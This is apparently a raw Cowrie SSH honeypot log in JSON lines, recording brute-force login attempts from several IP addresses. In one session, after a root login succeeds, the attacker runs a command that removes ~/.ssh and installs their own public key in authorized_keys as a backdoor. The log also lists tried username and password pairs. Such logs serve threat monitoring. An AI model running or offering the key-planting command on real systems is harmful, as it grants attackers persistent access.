{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.261239Z","src_ip":"2.57.122.208","session":"a4011d8050d3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"112233qqwwee","message":"login attempt [root/112233qqwwee] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.461785Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.661654Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.664826Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.668365Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.753729Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.946341Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:58.949000Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:59.034409Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:59.037891Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.239.240.198","src_port":46378,"dst_ip":"159.203.135.109","dst_port":22,"session":"34c2b192e562","protocol":"ssh","message":"New connection: 172.239.240.198:46378 (159.203.135.109:22) [session: 34c2b192e562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:59.113373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:59.118093Z","src_ip":"172.239.240.198","session":"34c2b192e562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:59.200859Z","src_ip":"172.239.240.198","session":"34c2b192e562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:09:59.566538Z","src_ip":"172.239.240.198","session":"34c2b192e562","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:00.652595Z","src_ip":"172.239.240.198","session":"34c2b192e562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.239.240.198","src_port":46392,"dst_ip":"159.203.135.109","dst_port":22,"session":"72aea2ec1adf","protocol":"ssh","message":"New connection: 172.239.240.198:46392 (159.203.135.109:22) [session: 72aea2ec1adf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:00.733260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:00.737923Z","src_ip":"172.239.240.198","session":"72aea2ec1adf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:00.825644Z","src_ip":"172.239.240.198","session":"72aea2ec1adf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:01.197478Z","src_ip":"172.239.240.198","session":"72aea2ec1adf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:01.285825Z","src_ip":"172.239.240.198","session":"9ac3a97f1ad9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:01.292022Z","src_ip":"172.239.240.198","session":"72aea2ec1adf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":59450,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2cf58574af6","protocol":"ssh","message":"New connection: 195.178.110.218:59450 (10.17.0.5:22) [session: b2cf58574af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:41.304559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:41.309503Z","src_ip":"195.178.110.218","session":"b2cf58574af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:41.389508Z","src_ip":"195.178.110.218","session":"b2cf58574af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:41.629224Z","src_ip":"195.178.110.218","session":"b2cf58574af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:10:42.712759Z","src_ip":"195.178.110.218","session":"b2cf58574af6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":41266,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fcf334a47b5","protocol":"ssh","message":"New connection: 195.178.110.218:41266 (159.203.135.109:22) [session: 2fcf334a47b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:11:50.231684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:11:50.236494Z","src_ip":"195.178.110.218","session":"2fcf334a47b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:11:50.369591Z","src_ip":"195.178.110.218","session":"2fcf334a47b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:11:50.608106Z","src_ip":"195.178.110.218","session":"2fcf334a47b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:11:51.691030Z","src_ip":"195.178.110.218","session":"2fcf334a47b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":53780,"dst_ip":"10.17.0.5","dst_port":22,"session":"115bde5dc4b6","protocol":"ssh","message":"New connection: 2.57.122.208:53780 (10.17.0.5:22) [session: 115bde5dc4b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:12:10.890929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:12:10.970818Z","src_ip":"2.57.122.208","session":"115bde5dc4b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:12:11.111009Z","src_ip":"2.57.122.208","session":"115bde5dc4b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:12:11.744379Z","src_ip":"2.57.122.208","session":"115bde5dc4b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:12:13.010236Z","src_ip":"2.57.122.208","session":"115bde5dc4b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":43348,"dst_ip":"10.17.0.5","dst_port":22,"session":"8da7581ed8f6","protocol":"ssh","message":"New connection: 195.178.110.218:43348 (10.17.0.5:22) [session: 8da7581ed8f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:13:33.161343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:13:33.165678Z","src_ip":"195.178.110.218","session":"8da7581ed8f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:13:33.243730Z","src_ip":"195.178.110.218","session":"8da7581ed8f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:13:33.469149Z","src_ip":"195.178.110.218","session":"8da7581ed8f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:13:34.547958Z","src_ip":"195.178.110.218","session":"8da7581ed8f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":39574,"dst_ip":"10.17.0.5","dst_port":22,"session":"7222e3b5ca6d","protocol":"ssh","message":"New connection: 2.57.122.208:39574 (10.17.0.5:22) [session: 7222e3b5ca6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:28.320625Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T14:14:28.412300Z","src_ip":"2.57.122.208","session":"7222e3b5ca6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"